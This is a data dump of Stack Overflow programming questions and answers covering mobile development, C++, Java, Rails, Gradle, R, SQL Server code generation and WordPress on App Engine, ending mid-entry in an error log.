19983513	0	 <p>And who said you can have only one window ? :) </p> <p>See if my answer <a href="http://stackoverflow.com/a/19983002/1134595">on this similar question</a> can help.</p> <p>This approach is working very well for me. As long as you don't have to worry about multiple displays or state restoration, this linked code should be enough to do what you need: you don't have to make your logic look backwards or rewrite existing code, and can still take advantage of the UISplitView in a deeper level within your application - without (AFAIK) breaking Apple guidelines.</p>
2821393	0	 <p>"<strong>Premature optimization is the root of all evil.</strong>"<br> I doubt you'd have to care about a once in a lifetime initialization...<br> That is unless you call it a zillion times, then I suggest you redesign your code.</p>
32592653	0	 <p>Nesting listviews is not support in Xamarin.Forms. You can try, but the inner one will not be scrollable and therefor useless.</p> <p>If ListA has a list of ListB's, would it suite your needs to do grouping? <a href="https://i.stack.imgur.com/gj7ZW.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/gj7ZW.png" alt="Here is a quick image showing how grouping would look."></a></p> <p>Essentially, you are grouping your lists of B within items of A (where in that image I showed your list A is a list of mobile devices and your lists of B are specific types within the generic OS).</p> <p>To do this, when you create your listview and set your data template/source, you must now also set IsGroupingEnabled to true and GroupHeaderTemplate to the datatemplate created to show how it will be displayed visually (exactly the same as you normally would make a datatemplate with custom viewcells).</p> <p>The only difference now is instead of your source being a list of A or a list of B, it is an list A (which extends ObservableCollection) which contains a list B.</p> <p>You basically need to make your A viewmodel extend ObserableCollection so A is A but A is also a list/can be used as a list.</p> <p>Now you just feed your list A (where each A has a list B) as the source of your ListView.</p>
3881137	0	Class instance variables inside of class cause compiler errors <p>The compiler is giving me the following complaints about the following class:</p> <pre><code>class AguiWidgetBase { //variables AguiColor tintColor; AguiColor fontColor; //private methods void zeroMemory(); virtual void onPaint(); virtual void onTintColorChanged(AguiColor color); void (*onPaintCallback)(AguiRectangle clientRect); void (*onTintColorChangedCallback)(); public: AguiWidgetBase(void); ~AguiWidgetBase(void); void paint(); void setTintColor(AguiColor color); AguiColor getBackColor(); }; Warning 13 warning C4183: 'getBackColor': missing return type; assumed to be a member function returning 'int' c:\users\josh\documents\visual studio 2008\projects\agui\alleg_5\agui\AguiWidgetBase.h 26 Error 2 error C4430: missing type specifier - int assumed. Note: C++ does not support default-int c:\users\josh\documents\visual studio 2008\projects\agui\alleg_5\agui\AguiWidgetBase.h 11 Error 3 error C4430: missing type specifier - int assumed. Note: C++ does not support default-int c:\users\josh\documents\visual studio 2008\projects\agui\alleg_5\agui\AguiWidgetBase.h 11 Error 5 error C4430: missing type specifier - int assumed. Note: C++ does not support default-int c:\users\josh\documents\visual studio 2008\projects\agui\alleg_5\agui\AguiWidgetBase.h 12 Error 6 error C4430: missing type specifier - int assumed. Note: C++ does not support default-int c:\users\josh\documents\visual studio 2008\projects\agui\alleg_5\agui\AguiWidgetBase.h 12 Error 11 error C4430: missing type specifier - int assumed. Note: C++ does not support default-int c:\users\josh\documents\visual studio 2008\projects\agui\alleg_5\agui\AguiWidgetBase.h 26 Error 12 error C4430: missing type specifier - int assumed. Note: C++ does not support default-int c:\users\josh\documents\visual studio 2008\projects\agui\alleg_5\agui\AguiWidgetBase.h 26 Error 1 error C2146: syntax error : missing ';' before identifier 'tintColor' c:\users\josh\documents\visual studio 2008\projects\agui\alleg_5\agui\AguiWidgetBase.h 11 Error 10 error C2146: syntax error : missing ';' before identifier 'getBackColor' c:\users\josh\documents\visual studio 2008\projects\agui\alleg_5\agui\AguiWidgetBase.h 26 Error 4 error C2146: syntax error : missing ';' before identifier 'fontColor' c:\users\josh\documents\visual studio 2008\projects\agui\alleg_5\agui\AguiWidgetBase.h 12 Error 8 error C2061: syntax error : identifier 'AguiRectangle' c:\users\josh\documents\visual studio 2008\projects\agui\alleg_5\agui\AguiWidgetBase.h 17 Error 7 error C2061: syntax error : identifier 'AguiColor' c:\users\josh\documents\visual studio 2008\projects\agui\alleg_5\agui\AguiWidgetBase.h 16 Error 9 error C2061: syntax error : identifier 'AguiColor' c:\users\josh\documents\visual studio 2008\projects\agui\alleg_5\agui\AguiWidgetBase.h 25 </code></pre> <p>This should be working, I'm including the headers for those classes.</p> <p>This is the h file:</p> <pre><code>//integer Point class class AguiPoint { int x; int y; public: int getX(); int getY(); void setX(int x); void setY(int y); void set(int x, int y); AguiPoint(int x, int y); AguiPoint(); std::string toString(); std::string xToString(); std::string yToString(); }; //floating version of Agui Point class AguiPointf { float x; float y; public: float getX(); float getY(); void setX(float x); void setY(float y); void set(float x, float y); AguiPointf(float x, float y); AguiPointf(AguiPoint p); AguiPointf(); std::string toString(); std::string xToString(); std::string yToString(); }; //Integer rectangle class class AguiRectangle { int x; int y; int width; int height; public: bool isEmpty(); int getTop(); int getLeft(); int getBottom(); int getRight(); AguiPoint getTopLeft(); AguiPoint getBottomRight(); }; class AguiColor { unsigned char r; unsigned char g; unsigned char b; unsigned char a; void verifyColorBounds(); public: AguiColor(int r, int g, int b, int a); AguiColor(float r, float g, float b, float a); AguiColor(); int getR(); int getG(); int getB(); int getA(); }; </code></pre> <p>Thanks</p> <p>I include the main header in the WidgetBase and the main header includes the base types before it includes the widgetbase</p>
17181978	0	 <p>Without using a local variable, in most invocations we have effectively</p> <pre><code>if(field!=null) // true return field; </code></pre> <p>so there are two volatile reads, which is slower than one volatile read.</p> <p>Actually JVM can merge the two volatile reads into one volatile read and still conform to JMM. But we expect JVM to perform a good faith volatile read every time it's told to, not to be a smartass and try to optimize away any volatile read. Consider this code</p> <pre><code>volatile boolean ready; do{}while(!ready); // busy wait </code></pre> <p>we expect JVM to really load the variable repeatedly.</p>
32577164	0	 <p>There are two possible answers to your question depending on your exact intent. If I were to guess, the word you're looking for is: <a href="https://en.wikipedia.org/wiki/Morphology_(linguistics)" rel="nofollow">morphology</a> but it could also be <a href="https://en.wikipedia.org/wiki/Phonology" rel="nofollow">phonology</a>. However, I don't think "phonology" fits your second example.</p> <p>The thing you seem to be describing are various parts of <a href="https://en.wikipedia.org/wiki/Grammar" rel="nofollow">grammar</a>. Grammar is the study of <a href="https://en.wikipedia.org/wiki/Syntax" rel="nofollow">syntax</a>, phonology and morphology.</p> <p>Syntax describes the general structure of the language. How words fit together.</p> <p>Phonology describes how sounds fit together in the language. How many vowels there are, the consonants, the types of consonants etc.</p> <p>Morphology describes how words are formed in the language. Does the language modify words with tenses? Does the language modify words with gender? Does the language not modify words at all but instead use other words? etc.</p>
22603170	0	How to add an event handler for dynamically created QML elements? <p>I dynamically added some qml components to my gui according to <a href="http://kunalmaemo.blogspot.kr/2011/04/creating-qml-element-dynamically-on.html">this blog post</a>. How can I add event handlers for those newly created components?</p>
25999368	1	Shifting to Python 3.4.1 on Mac 10.7.5 - how best to get at my modules? <p>So, I want to start using Python 3.4.1. I've got it installed on my machine, etc, and it'll print("hello world!") and according to this post, which seems sensible, I need to leave 2.7 in place for backwards compatibility: <a href="http://stackoverflow.com/questions/5846167/how-to-change-default-python-version">how to change default python version?</a></p> <p>OK great, now, what's the best way to make Python 3 "see" all my great modules I've got installed for 2.7? All my old buddies like Pandas and XLRD are like "No module named Pandas."</p> <p>And yes, all my libraries are in</p> <p>Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages</p> <p>I suspect a lot of reinstallation in my future … </p>
37923955	0	Are there any functional differences between a (PaaS) website and a (IaaS) VM running IIS? <p>We're moving our operation to Azure soon but we'll be going for a IaaS to effectively emulate our existing physical data center setup. This is largely because our (.NET) website has not been tested using the Azure Website platform and so we can't guarentee it'll work as expected however I'm curious as to how a running a website via a Web Site service (PaaS) would be any different to running it on an IaaS style VM which runs IIS. Isn't it functionally the same? Is it really necessary to test for both PaaS and IaaS deployments?</p>
3286057	0	How to do an inner join in Android? <p>I would like to do an inner join on my database in my Android app. Is this even possible? What about a left join? I know cursor joiner exists but the documentation isn't clear at all. Can anyone provide any further insight? </p> <p>Thanks</p>
16730331	0	 <p>There is no issue with the first approach. I presume you are trying to iterate over few <code>DataTimerPicker</code> controls. If so, can you check the <code>Name</code> property of each <code>DataTimerPicker</code> control instances. I suppose it should be, datetimeBi1,datetimeBi2,datetimeBi3 ( just guessing after seeing your code).</p> <p>Meantime, you can also check the immediate parent of your child controls ( DateTimePicker).</p>
37199952	0	How to implement confirmation or preview in rails? <p>I am calling JSON api from my rails app. User inputs a name in a form, Then i call JSON API and find if the name has any matches there. Sometimes its just one so i create entry with the data provided in JSON. But most of the times there are multiple results on the JSON, How do i implement "Hey i found multiple results for same name, which one were you looking for?" and then the users chooses which one he/she was intending and then it creates an entry in database. </p> <p>I wrote a simple script to test out the JSON.</p> <pre><code>data = JSON.load response if data['results'].empty? #if the JSON data is empty puts "There was no movie found. Did you spell the movie name correctly?" elsif data['results'].count &gt; 1 #if JSON Data has more than one result data['results'].each do |movie| Movie::Movies &lt;&lt; Movie.new(movie['id'], movie['title'], movie['release_year'], (imdb_url + movie['imdb']).to_s, movie['rating'], movie['poster_120x171'], movie['poster_240x342'], movie['poster_400x570']) end Movie::Movies.each do |movie| puts "#{movie.title} : #{movie.release_year}" end else #IF JSON has only one entry movie = Movie.new(data['results'][0]['id'], data['results'][0]['title'], data['results'][0]['release_year'], (imdb_url + data['results'][0]['imdb']).to_s, data['results'][0]['rating'], data['results'][0]['poster_120x171'], data['results'][0]['poster_240x342'], data['results'][0]['poster_400x570']) end </code></pre> <p>And here is my controller at the moment. It can only handle the first record from the Hash provided by JSON. I have no clue on how to handle the situation if there are multiple results. </p> <pre><code> def create require 'rest_client' require 'json' imdb_url = 'http://www.imdb.com/title/' movie_title = movie_params['title'].delete(' ') response = RestClient.get "http://api-public.guidebox.com/v1.43/US/xxxxxxxxxxxxxxxx&lt;api-key&gt;/search/movie/title/#{movie_title}" data = JSON.load response @movie = Movie.new #i am doing this because my for was giving error. if data['results'].empty? flash[:alert] = "Did you spell the Title correctly? Or Maybe we could not find the movie you are looking for." render 'new' elsif data['results'].count &gt; 2 #Display all results to the user for them to pick what they really intended and create an entry of whaterver they choose. else @movie = Movie.new(gb_id: data['results'][0]['id'], title: data['results'][0]['title'], release_year: data['results'][0]['release_year'], imdb_link: (imdb_url + data['results'][0]['imdb']).to_s, rating: data['results'][0]['rating'], small_img: data['results'][0]['poster_120x171'], med_img: data['results'][0]['poster_240x342'], large_img: data['results'][0]['poster_400x570']) if @movie.save flash[:notice] = 'Movie has been successfully Added.' redirect_to @movie else flash[:alert] = "Something went wrong. Please try again." render 'new' end end end </code></pre> <p>Also in my create action i had to call the <code>@movie = Movie.new</code> again because the form was giving me errors.</p>
37210832	0	How to retrieve elements place visually under div <p>I'm trying to retrieve an array of images placed under a absolute-positioned div in jQuery or javascript. A sort of selection. I've tried with ".getElementsByPoint", but as it only allows x,y, I'm a little bit confused how I'm gonna incorperate the height and width, and get everything in the area.</p> <p>Hope someone have some suggestions, to pull me out of my trouble.</p> <p>I've painted a quick picture to illustrate what I mean.</p> <p><a href="https://i.stack.imgur.com/ONaMp.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ONaMp.jpg" alt="enter image description here"></a></p>
2328602	0	 <p>Manually: You can use String.Split() method to split your entire file. Here is an example of what i use in my code. In this example, i read the data line by line and split it. I then place the data directly into columns. </p> <pre><code> //Open and read the file System.IO.FileStream fs = new System.IO.FileStream("myfilename", System.IO.FileMode.Open); System.IO.StreamReader sr = new System.IO.StreamReader(fs); string line = ""; line = sr.ReadLine(); string[] colVal; try { //clear of previous data //myDataTable.Clear(); //for each reccord insert it into a row while (!sr.EndOfStream) { line = sr.ReadLine(); colVal = line.Split('\t'); DataRow dataRow = myDataTable.NewRow(); //associate values with the columns dataRow["col1"] = colVal[0]; dataRow["col2"] = colVal[1]; dataRow["col3"] = colVal[2]; //add the row to the table myDataTable.Rows.Add(dataRow); } //close the stream sr.Close(); //binds the dataset tothe grid view. BindingSource bs = new BindingSource(); bs.DataSource = myDataSet; bs.DataMember = myDataTable.TableName; myGridView.DataSource = bs; } </code></pre> <p>You could modify it to do some loops for columns if you have many and they are numbered. Also, i recommend checking the integrity first, by checking that the number of columns read is correct.</p>
36710381	0	 <p>So what's the actual file encoding? Open up a hex editor and look at the byte values for <code>insan�n</code> (especially the broken character). Then when you have the byte value, you can find the actual encoding. Now you've just tried two wrong encodings at random.</p>
16302588	0	adb devices doesn't show my device <p>I'm trying to run my application from eclipse on my Samsung Galaxy Tab, however it doesn't show up in the 'Choose a running android device' I then tried changing the running configuration to 'Launch on all compatible devices/AVDs' and picked active devices, I however got the following error:</p> <blockquote> <p>No active compatible AVD's or devices found. Relaunch this configuration after connecting a device or starting an AVD.</p> </blockquote> <p>I then tried typing adb devices in the command prompt to get an empty list, I then tried</p> <pre><code>adb kill-server adb start-server </code></pre> <p>which didn't work either.</p> <p>I also set</p> <pre><code>android:debuggable="true" </code></pre> <p>and updated the device usb_driver in android-sdks\extras\google, and it mentioned that it was already up to date. So all my attempts were in vain. Any help would be much much appreciated.</p>
36982958	0	How to get the value of TextViews from an ArrayAdapter to another Class <p>In order to pass data from my Custom Adapter to another class I tried these two methods and none worked for me.</p> <pre><code> String SGetNumVol=Num_Vol.getText().toString(); String SGetComment=Commentaire.getText().toString(); String SGetAirpDepart=Aeroport.getText().toString(); String SGetDestination=Destination.getText().toString(); String SGetCompanie=code_Compagnie.getText().toString(); Intent intent =new Intent(c,DetailVol.class); Bundle bundle = intent.getExtras(); GetNumVol= bundle.getString(SGetNumVol); GetComment= bundle.getString(SGetComment); GetAirpDepart= bundle.getString(SGetAirpDepart); GetDestination= bundle.getString(SGetDestination); GetCompanie= bundle.getString(SGetCompanie); </code></pre> <p>and recieving it like</p> <pre><code> Intent i = getIntent(); Bundle b = i.getExtras(); if(b!=null) { String a =(String) b.get(CustomAdapter.GetAirpDepart); Airportdep.setText(a); String c =(String) b.get(CustomAdapter.GetDestination); dest.setText(c); String e =(String) b.get(CustomAdapter.GetNumVol); Num.setText(e); String f=(String) b.get(CustomAdapter.GetComment); com.setText(f); String j =(String) b.get(CustomAdapter.GetCompanie); Comp.setText(j); } </code></pre> <p>Second Method is like :</p> <pre><code> //SecondTest Intent i = new Intent(c, DetailVol.class); String SGetNumVol=Num_Vol.getText().toString(); String SGetComment=Commentaire.getText().toString(); String SGetAirpDepart=Aeroport.getText().toString(); String SGetDestination=Destination.getText().toString(); String SGetCompanie=code_Compagnie.getText().toString(); i.putExtra("SGetNumVol", SGetNumVol); i.putExtra("SGetComment", SGetComment); i.putExtra("SGetAirpDepart",SGetAirpDepart); i.putExtra("SGetDestination",SGetDestination); i.putExtra("SGetCompanie", SGetCompanie); </code></pre> <p>recieving : </p> <pre><code> //SecondTest if (savedInstanceState == null) { Bundle extras = getIntent().getExtras(); if(extras == null) { NumVol= null; Comment= null; AirDepart= null; Destination= null; Companie= null; } else { NumVol= extras.getString("SGetNumVol"); Comment= extras.getString("SGetComment"); AirDepart= extras.getString("SGetAirpDepart"); Destination= extras.getString("SGetDestination"); Companie= extras.getString("SGetCompanie"); } } else { NumVol= (String) savedInstanceState.getSerializable("SGetNumVol"); Comment= (String) savedInstanceState.getSerializable("SGetComment"); AirDepart= (String) savedInstanceState.getSerializable("SGetAirpDepart"); Destination= (String) savedInstanceState.getSerializable("SGetDestination"); Companie= (String) savedInstanceState.getSerializable("SGetCompanie"); } </code></pre> <p>The first returning NullPointerException and the second just pass without any error but it doesn't return values from Custom Adapter. I hope I explained it well, does anybody know how can I correct this? </p>
11897019	0	ExpressJS Redirect Method <p>If I use the <code>res.redirect( url )</code> will the redirection method also append the previous parameters to where it will be redirected?</p> <p>It means if I passed/send request with a json parameters using POST method then I redirect the request to another server, will that other server (where it is redirected) receives the json parameters?</p>
4326159	0	 <p>in your solution consider changing</p> <pre><code>&lt;Trigger Property="MenuItem.Header" Value="enums:AnEnum.ItemA" &gt; </code></pre> <p>to </p> <pre><code>&lt;Trigger Property="MenuItem.Header" Value="{x:Static enums:AnEnum.ItemA}" &gt; </code></pre> <p>in your example you check that header is equal to <strong>sting "enums:AnEnum.ItemA"</strong> not to enum AnEnum member ItemA.</p>
12633018	0	localPlayerDidSelectChallenge method gets called even if player doesn't tap GKChallenge banner <p>When a player receives a <code>GKChallenge</code>, the <code>GKChallengeEventHandler</code> calls <code>localPlayerDidReceiveChallenge</code> on the delegate implementing the <code>GKChallengeEventHandlerDelegate</code> protocol, then immediately after, calls <code>localPlayerDidSelectChallenge</code>, every time.</p> <p>The docs say that for <code>localPlayerDidSelectChallenge</code> to be called, one of two things must happen:</p> <ul> <li>The user taps the challenge banner</li> <li>The user opens the app in response to receiving a challenge notification</li> </ul> <p>But it seems to be called every time, even if the app is open already and without the user ever touching the banner!</p>
37523082	0	Execution failed for task ':app:transformClassesWithMultidexlistForDebug' <p><strong>ERROR</strong> Error:Execution failed for task ':app:transformClassesWithMultidexlistForDebug'.</p> <blockquote> <p>com.android.build.api.transform.TransformException: com.android.ide.common.process.ProcessException: org.gradle.process.internal.ExecException: Process 'command 'C:\Program Files\Java\jdk1.7.0_79\bin\java.exe'' finished with non-zero exit value 1</p> </blockquote> <p><strong>my gradle file</strong></p> <pre><code>apply plugin: 'com.android.application' android { compileSdkVersion 23 buildToolsVersion "24.0.0 rc3" defaultConfig { applicationId "com.example.sagar.shavanma" minSdkVersion 15 targetSdkVersion 23 versionCode 1 versionName "1.0" multiDexEnabled true } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' } } } dependencies { compile fileTree(dir: 'libs', include: '*.jar') testCompile 'junit:junit:4.12' compile 'com.android.support:appcompat-v7:23.3.0' compile 'com.android.support:design:23.3.0' compile 'com.android.support:support-v4:23.3.0' compile 'com.android.support:cardview-v7:23.3.0' compile 'com.github.nirhart:parallaxscroll:1.0' compile 'com.google.code.gson:gson:2.6.2' compile 'com.mcxiaoke.volley:library:1.0.19' } </code></pre> <p><strong>Gridle</strong></p> <p>:app:preBuild UP-TO-DATE :app:preDebugBuild UP-TO-DATE :app:checkDebugManifest :app:preReleaseBuild UP-TO-DATE :app:prepareComAndroidSupportAnimatedVectorDrawable2330Library UP-TO-DATE :app:prepareComAndroidSupportAppcompatV72330Library UP-TO-DATE :app:prepareComAndroidSupportCardviewV72330Library UP-TO-DATE :app:prepareComAndroidSupportDesign2330Library UP-TO-DATE :app:prepareComAndroidSupportMultidex101Library UP-TO-DATE :app:prepareComAndroidSupportRecyclerviewV72330Library UP-TO-DATE :app:prepareComAndroidSupportSupportV42330Library UP-TO-DATE :app:prepareComAndroidSupportSupportVectorDrawable2330Library UP-TO-DATE :app:prepareComAndroidVolleyVolley100Library UP-TO-DATE :app:prepareComGithubNirhartParallaxscroll10Library UP-TO-DATE :app:prepareDebugDependencies :app:compileDebugAidl UP-TO-DATE :app:compileDebugRenderscript UP-TO-DATE :app:generateDebugBuildConfig UP-TO-DATE :app:generateDebugAssets UP-TO-DATE :app:mergeDebugAssets UP-TO-DATE :app:generateDebugResValues UP-TO-DATE :app:generateDebugResources UP-TO-DATE :app:mergeDebugResources UP-TO-DATE :app:processDebugManifest UP-TO-DATE :app:processDebugResources UP-TO-DATE :app:generateDebugSources UP-TO-DATE :app:compileDebugJavaWithJavac Note: Some input files use or override a deprecated API. Note: Recompile with -Xlint:deprecation for details. Note: Some input files use unchecked or unsafe operations. Note: Recompile with -Xlint:unchecked for details. :app:compileDebugNdk UP-TO-DATE :app:compileDebugSources :app:prePackageMarkerForDebug :app:transformClassesWithJarMergingForDebug :app:collectDebugMultiDexComponents :app:transformClassesWithMultidexlistForDebug ProGuard, version 5.2.1 Reading program jar [G:\Projects\Shavanma\app\build\intermediates\transforms\jarMerging\debug\jars\1\1f\combined.jar] Reading library jar [C:\Users\shree\AppData\Local\Android\sdk\build-tools\24.0.0-preview\lib\shrinkedAndroid.jar] Preparing output jar [G:\Projects\Shavanma\app\build\intermediates\multi-dex\debug\componentClasses.jar] Copying resources from program jar [G:\Projects\Shavanma\app\build\intermediates\transforms\jarMerging\debug\jars\1\1f\combined.jar] :app:transformClassesWithMultidexlistForDebug FAILED Error:Execution failed for task ':app:transformClassesWithMultidexlistForDebug'.</p> <blockquote> <p>com.android.build.api.transform.TransformException: com.android.ide.common.process.ProcessException: org.gradle.process.internal.ExecException: Process 'command 'C:\Program Files\Java\jdk1.7.0_79\bin\java.exe'' finished with non-zero exit value 1</p> </blockquote>
10677670	0	 <p>There are many places to find interesting data online: The <a href="http://data.worldbank.org/" rel="nofollow">world bank</a> has released an extensive set of data you can download and use for free. You can also extract some of the structured data from wikipedia through the service <a href="http://dbpedia.org/About" rel="nofollow">DBpedia</a>. If you want to use more specific data from either corporate or governmental institutions (how much did your government spend last year? Where does the crimes find place?) check out Open Knowledge Foundations data repository at <a href="http://thedatahub.org/" rel="nofollow">The Data Hub</a>.</p>
21438253	0	 <p>VT-x inside VT-x cannot be done in VirtualBox.</p> <p>A (quite old) feature request about this functionality is here:</p> <p><a href="https://www.virtualbox.org/ticket/4032" rel="nofollow">https://www.virtualbox.org/ticket/4032</a></p>
34744555	0	 <p>This is not supported out-of-the-box. The hint declared on the a relation is rarely used, more meant as a Foreign Key hint than a column hint. There are several options you can use to do this.</p> <p>The easiest is to use a post-generation .SQL script to add the clustered setting manually. This is described here: <a href="https://www.softfluent.com/documentation/StandardProducers_SQLServer_CustomScripts.html" rel="nofollow">How to: Execute custom T-SQL scripts with the Microsoft SQL Server producer</a>.</p> <p>You could also use the Patch Producer to remove the CLUSTERED word from the file once it has been created : <a href="https://www.softfluent.com/documentation/StandardProducers_PatchProducer.html" rel="nofollow">Patch Producer</a></p> <p>Otherwise, here is another solution that involves an aspect I've written as a sample here. You can save the following piece of XML as a file, and reference it as an aspect in your model.</p> <p>This aspect will add the CLUSTERED hint to primary keys of all Many To Many tables inferred from entities that have CLUSTERED keys. It will add the hint before the table scripts are created and ran, and will remove it after (so it won't end up in the <code>relations_add</code> script).</p> <pre><code>&lt;cf:project xmlns:cf="http://www.softfluent.com/codefluent/2005/1"&gt; &lt;!-- assembly references --&gt; &lt;?code @reference name="CodeFluent.Producers.SqlServer.dll" ?&gt; &lt;?code @reference name="CodeFluent.Runtime.Database.dll" ?&gt; &lt;!-- namespace includes --&gt; &lt;?code @namespace name="System" ?&gt; &lt;?code @namespace name="System.Collections.Generic" ?&gt; &lt;?code @namespace name="CodeFluent.Model.Code" ?&gt; &lt;?code @namespace name="CodeFluent.Model.Persistence" ?&gt; &lt;?code @namespace name="CodeFluent.Model.Code" ?&gt; &lt;!-- add global code to listen to inference steps --&gt; &lt;?code Project.StepChanging += (sender1, e1) =&gt; { if (e1.Step == ImportStep.End) // hook before production begins (end of inference pipeline) { var modifiedTables = ProjectHandler.AddClusteredHint(Project); // get sql server producer and hook on production events var sqlProducer = Project.Producers.GetProducerInstance&lt;CodeFluent.Producers.SqlServer.SqlServerProducer&gt;(); sqlProducer.Production += (sender, e) =&gt; { // determine what SQL file has been created // we want to remove hints once the table_diffs has been created, before relations_add is created string script = e.GetDictionaryValue("filetype", null); if (script == "TablesDiffsScript") { ProjectHandler.RemoveClusteredHint(modifiedTables); } }; } }; ?&gt; &lt;!-- add member code to handle inference modification --&gt; &lt;?code @member public class ProjectHandler { public static IList&lt;Table&gt; AddClusteredHint(Project project) { var list = new List&lt;Table&gt;(); foreach (var table in project.Database.Tables) { // we're only interested by tables inferred from M:M relations if (table.Relation == null || table.Relation.RelationType != RelationType.ManyToMany) continue; // check this table definition is ok for us if (table.RelationKeyColumns.Count &lt; 1 || table.RelationRelatedKeyColumns.Count &lt; 1) continue; // check clustered is declared on both sides string keyHint = GetSqlServerProducerHint(table.RelationKeyColumns[0].Property); string relatedKeyHint = GetSqlServerProducerHint(table.RelationKeyColumns[0].Property); if (keyHint.IndexOf("clustered", StringComparison.OrdinalIgnoreCase) &lt; 0 || relatedKeyHint.IndexOf("clustered", StringComparison.OrdinalIgnoreCase) &lt; 0) continue; // force hint now, we only need to do this on one of the keys, not all table.PrimaryKey.Elements[0].SetAttribute("hint", CodeFluent.Producers.SqlServer.Constants.SqlServerProducerNamespaceUri, "clustered"); // remember this table list.Add(table); } return list; } public static void RemoveClusteredHint(IEnumerable&lt;Table&gt; list) { foreach (var table in list) { table.PrimaryKey.Elements[0].RemoveAttribute("hint", CodeFluent.Producers.SqlServer.Constants.SqlServerProducerNamespaceUri); } } // helper method to read XML element's hint attribute in the SQL Server Producer namespace private static string GetSqlServerProducerHint(Node node) { if (node == null) return null; return node.GetAttributeValue&lt;string&gt;("hint", CodeFluent.Producers.SqlServer.Constants.SqlServerProducerNamespaceUri, null); } } ?&gt; &lt;/cf:project&gt; </code></pre>
35763353	0	 <p>Try this</p> <pre><code>(\w+\.\w+) </code></pre> <p><a href="https://regex101.com/r/wK3cK7/1" rel="nofollow">https://regex101.com/r/wK3cK7/1</a></p> <p>Output:</p> <pre><code>MATCH 1 1. [13-26] `summary_t.dat` MATCH 2 1. [33-48] `pre_summary.csv` MATCH 3 1. [50-58] `data.dat` </code></pre>
31213130	0	IE8 breaks compatibility view if embedded as an activeX <p>Using it as a CDHTMLDialog from MFC, I noticed that for some sites (such as wikipedia.org) the embeded IE reports a <code>documentMode</code> property of 7, while using the IE app properly presents the <code>documentMode</code> property as 8. Same thing is true for IE11 too (<code>documentMode</code> property is 11 when launched standalone and 7 when used embedded). What's going on here ?</p>
29128169	0	Leaflet.draw prevent events <p>I have added the draw control to my Mapbox map and only have polygon enabled. I'm attempting to prevent the draw tool from going into draw mode if the user has not zoomed into a certain level. I have added a click event to the polygon button using it's class, but I cannot figure out what call I need to make to cancel the draw.</p> <pre><code>$('.leaflet-draw-draw-polygon').on('click', function (e) { if (map.getZoom() &lt; 13) //Cancel draw else drawingPolygon = true; }); </code></pre>
11280343	0	How to plot family tree in R <p>I've been searching around how to plot a family tree but couldn't find something i could reproduce. I've been looking in Hadley's book about ggplot but the same thing.</p> <p>I want to plot a family tree having as a source a dataframe similar to this:</p> <pre><code>dput(head(familyTree)) structure( list( id = 1:6, cnp = c("11", NA, "22", NA, NA, "33"), last_name = c("B", "B", "B", NA, NA, "M"), last_name_alyas = c(NA, NA, NA, NA, NA, "M"), middle_name = c("C", NA, NA, NA, NA, NA), first_name = c("Me", "P", "A", NA, NA, "S"), first_name_alyas = c(NA, NA, NA, NA, NA, "F"), maiden_name = c(NA, NA, "M", NA, NA, NA), id_father = c(2L, 4L, 6L, NA, NA, 8L), id_mother = c(3L, 5L, 7L, NA, NA, 9L), birth_date = c("1986-01-01", "1963-01-01", "1964-01-01", NA, NA, "1936-01-01"), birth_place = c("City", "Village", "Village", NA, NA, "Village"), death_date = c("0000-00-00", NA, NA, NA, NA, "2007-12-23"), death_reason = c(NA, NA, NA, NA, NA, "stroke"), nr_brothers = c(NA, 1L, NA, NA, NA, NA), brothers_names = c(NA, "M", NA, NA, NA, NA), nr_sisters = c(1L, NA, 1L, NA, NA, 2L), sisters_names = c("A", NA, "E", NA, NA, NA), school = c(NA, "", "", NA, NA, ""), occupation = c(NA, "", "", NA, NA, ""), diseases = c(NA_character_, NA_character_, NA_character_, NA_character_, NA_character_, NA_character_), comments = c(NA_character_, NA_character_, NA_character_, NA_character_, NA_character_, NA_character_) ), .Names = c("id", "cnp", "last_name", "last_name_alyas", "middle_name", "first_name", "first_name_alyas", "maiden_name", "id_father", "id_mother", "birth_date", "birth_place", "death_date", "death_reason", "nr_brothers", "brothers_names", "nr_sisters", "sisters_names", "school", "occupation", "diseases", "comments"), row.names = c(NA, 6L), class = "data.frame" ) </code></pre> <p>Is there any way I can plot a family tree with ggplot? If not, how can i plot it using another package.</p> <p>The primary key is 'id' and you connect to other members of the family using "id_father" and "id_mother".</p>
39550383	0	How to execute a function after a group components did mount in reactjs? <p>Callback <code>componentDidMount</code> works perfectly when I am dealing with elements in that component, but I want to execute a function that deals with element of multiple components on a page, after a group of components been mounted. What is the best way I can do that?</p>
20952596	0	 <h1>Remove drive letter:</h1> <pre><code>s/^\w\://; </code></pre> <h1>Convert / to space:</h1> <pre><code>s/\// /g; </code></pre> <p>Do you want to cut off the leading "/"? Use this RegEx as the first one:</p> <pre><code>s/^\w\:\///; </code></pre>
19068923	0	WP on GAE Insert Image in Post: "An error occurred in the upload. Please try again later." <p>I've been banging my head against a wall on this one. I'm running Wordpress on AppEngine and have everything working fine (<a href="https://developers.google.com/appengine/articles/wordpress?hl=en" rel="nofollow">followed the GAE install instructions</a>) except I can't insert an image into a post. I've installed the GAE WP plugin and have the cloud storage set up properly (which I know because the upload actually works and I can see the uploads when I go to Media > Library in the left nav in WP.</p> <p>Here's the error's I have in the logs for wp-admin/async-upload.php:</p> <pre><code>W 2013-09-28 12:05:02.529 PHP Notice: Undefined variable: types in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4385 W 2013-09-28 12:05:02.529 PHP Warning: array_keys() expects parameter 1 to be array, null given in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4385 W 2013-09-28 12:05:02.529 PHP Warning: asort() expects parameter 1 to be array, null given in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 2231 W 2013-09-28 12:05:02.529 PHP Warning: Invalid argument supplied for foreach() in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 2232 W 2013-09-28 12:05:02.529 PHP Notice: Undefined variable: icon in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4398 </code></pre> <p>And here's what I've got in the logs for wp-admin/admin-ajax.php:</p> <pre><code>W 2013-09-28 12:05:03.683 PHP Notice: Undefined variable: types in /base/data/home/apps/s~WPONGAE/wp.0000000000000000/wordpress/wp-includes/post.php on line 4385 W 2013-09-28 12:05:03.683 PHP Warning: 